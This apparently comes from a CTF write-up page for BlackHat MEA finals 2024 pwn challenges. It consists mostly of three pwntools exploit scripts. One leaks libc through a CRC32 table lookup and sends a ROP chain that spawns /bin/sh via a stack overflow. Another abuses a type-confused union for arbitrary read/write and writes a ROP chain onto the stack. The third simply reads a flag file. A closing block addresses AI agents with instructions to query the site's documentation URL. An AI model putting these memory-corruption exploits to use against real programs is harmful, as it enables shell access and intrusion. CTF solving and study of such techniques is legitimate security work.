# PWN

## CRC32

```python
from pwn import *

executable = './crc32'

elf = context.binary = ELF(executable)

io = None


def findByte(crc32_table, target):
    for i in range(0, 255):
        result = i ^ -1
        result = result * 4
        result = result + crc32_table
        if result == target:
            print(f'[Found] byte: {hex(i)}')
            return i

def getHash(byte):
    io.recv(0x8)
    io.sendline(chr(byte).encode())
    return int(io.recvline().decode().replace('CRC32: ', '').strip(), 16)


def execute(gadgets):
    io.recv(0x8)
    # 264 is the offset to return address
    io.sendline((b'A' * 264) + gadgets)
    io.recv(0x8)
    io.sendline(b'\n')

def exploit():
    input('[Debug] Press Enter to continue ...')
    
    # LEAK libc
    
    # 0x3FB8 setbuf_ptr
    byte = findByte(crc32_table = 0x4020, target = (0x3FB8))
    value = getHash(byte)
    libc_base = value ^ ((0xFFFFFFFF >> 8))

    byte = findByte(crc32_table = 0x4020, target = (0x3FB8 + 4))
    value = getHash(byte)
    libc_base |= (value ^ ((0xFFFFFFFF >> 8)) ) << 32
    libc_base = libc_base - 0x8f740 # setbuf offset

    print(f'[LIBC] {hex(libc_base)}')

    # ROPGadget libc
    gadgets = p64(libc_base + 0x10f75b) # pop rdi | rdi ptr to /bin/sh
    gadgets += p64(libc_base + 0x1cb42f) # /bin/sh
    gadgets += p64(libc_base + 0x1ab1f7) # xor rax | rax = 0
    gadgets += p64(libc_base + 0xe0f53) # esi = rax |  esi = 0
    gadgets += p64(libc_base + 0xdd237) # pop rax | rax = execve address
    gadgets += p64(libc_base + 0xeef30) # execve
    gadgets += p64(libc_base + 0x116114) # xor edx, edx ; call rax | edx = 0 , call execve
    
    execute(gadgets)
    
    input('Interactive ...')
    io.interactive()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

def local():
    global io
    
    io = process(executable)
    exploit()

if __name__ == '__main__':
   local()
   # host = ''
   # port = ''
   # srv(host, port)
```

{% file src="/files/vfedr1Ykg8KYiG8wo8R5" %}

## UNION

```python
# docker container run --rm --name pwn -it ubuntu:24.04@sha256:5d070ad5f7fe63623cbb99b4fc0fd997f5591303d4b03ccce50f403957d0ddc4 /bin/bash

# docker container cp please:/lib/x86_64-linux-gnu/libc.so.6 .
# docker container cp please:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .

from pwn import *
from struct import pack, unpack

executable = './chall'
libc = './libc.so.6'
ld = './ld-linux-x86-64.so.2'
env = {
    'LD_PRELOAD': libc
}

libc = ELF(libc)
elf = context.binary = ELF(executable)
io = None

def new(data, datatype):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Type (1=String / 2=Integer): ', str(datatype).encode())
    
    if not isinstance(data, str):
        io.sendlineafter(b'Data: ', str(data).encode())
    else:
        io.sendlineafter(b'Data: ', data.encode())

def edit(data):
    io.sendlineafter(b'> ', b'2')  # Choose EDIT
    
    if isinstance(data, int):
        io.sendlineafter(b'Data: ', str(data).encode())
    elif isinstance(data, bytes):
        io.sendlineafter(b'Data: ', data)
    else:
        io.sendlineafter(b'Data: ', data.encode())

def show():
    io.sendlineafter(b'> ', b'3')
    return io.recvline().replace(b'Data: ', b'')

def wptr(ptr):
    new('', 144115196665790466)
    edit(ptr)

def rptr():
    new('', 144115196665790466)
    return int(show().rstrip().decode(), 10)

def pread(ptr):
    wptr(ptr)
    new('', 144115196665790465)
    return show()

def pwrite(ptr, value):
    if not isinstance(value, int) and len(value) > 20:
        print('Maximum data to write is 20 bytes')
    wptr(ptr)
    new('', 144115196665790465)
    edit(value)

def debug():
    input('[Debug] Press Enter to continue ...')

def exploit():
    debug()

    print('Try to get pointers exposed on heap')
    for i in range(8):
        new("A" * 32, 1)

    for i in range(8):
        new("B" * 128, 1)

    for i in range(8):
        new("C" * 256, 1)  

    print('Calculate LIBC base address')
    libc.address = u64(pread(rptr() - 0xba0).rstrip().ljust(8, b'\x00')) - 0x203b20
    print(f'[+] LIBC base address : {hex(libc.address)}')

    stackAddr = u64(pread(libc.sym['environ']).rstrip().ljust(8, b'\x00')) - (0x8 * 38)
    
    # ROPGadget libc
    gadgets = []
    
    gadgets.append(p64(libc.address + 0x10f75b)) # pop rdi | rdi ptr to /bin/sh
    gadgets.append(p64(libc.address + 0x1cb42f)) # /bin/sh
    gadgets.append(p64(libc.address + 0x10f759)) # pop rsi ; pop r15 ; ret | rsi = 0
    gadgets.append(p64(libc.sym['environ']))
    gadgets.append(p64(libc.address + 0xeef30)) # execve
    gadgets.append(p64(libc.address + 0x2a261)) # call r15 | call execve

    for gadget in gadgets:
        pwrite(stackAddr, gadget)
        stackAddr += 8

    input('Interactive ...')
    io.sendlineafter(b'> ', b'4')
    io.interactive()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

def local():
    global io
    
    # io = process([ld, executable], env=env)
    io = process(executable)
    
    exploit()

if __name__ == '__main__':
    # local()
    host = '127.0.0.1'
    port = '5000'
    srv(host, port)
```

{% file src="/files/W8esjT9nH58pEHmGV3uL" %}

## Readfile

```python
from pwn import *

executable = './readfile'

elf = context.binary = ELF(executable)

io = None

def exploit():
    input('[Debug] Press Enter to continue ...')

    # File
    flag = b'./flag.txt'
    io.sendlineafter(b'File: ', flag)

    # Content length
    size = 22
    io.sendlineafter(b'Size: ', str(size).encode())

    # Get content
    msg = io.recvuntil(b'Content:\n')

    msg = io.recvline()
    print(msg)
    
    input('Interactive ...')
    io.interactive()

def srv(ip, port):
    global io
    
    io = remote(ip, port)
    exploit()

def local():
    global io
    
    io = process(executable)
    exploit()

if __name__ == '__main__':
   local()
   # host = ''
   # port = ''
   # srv(host, port)
```

{% file src="/files/1QVxggWqG6sg1nDo8yEp" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.diefunction.io/ctf/blackhatmea-finals-2024/pwn.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
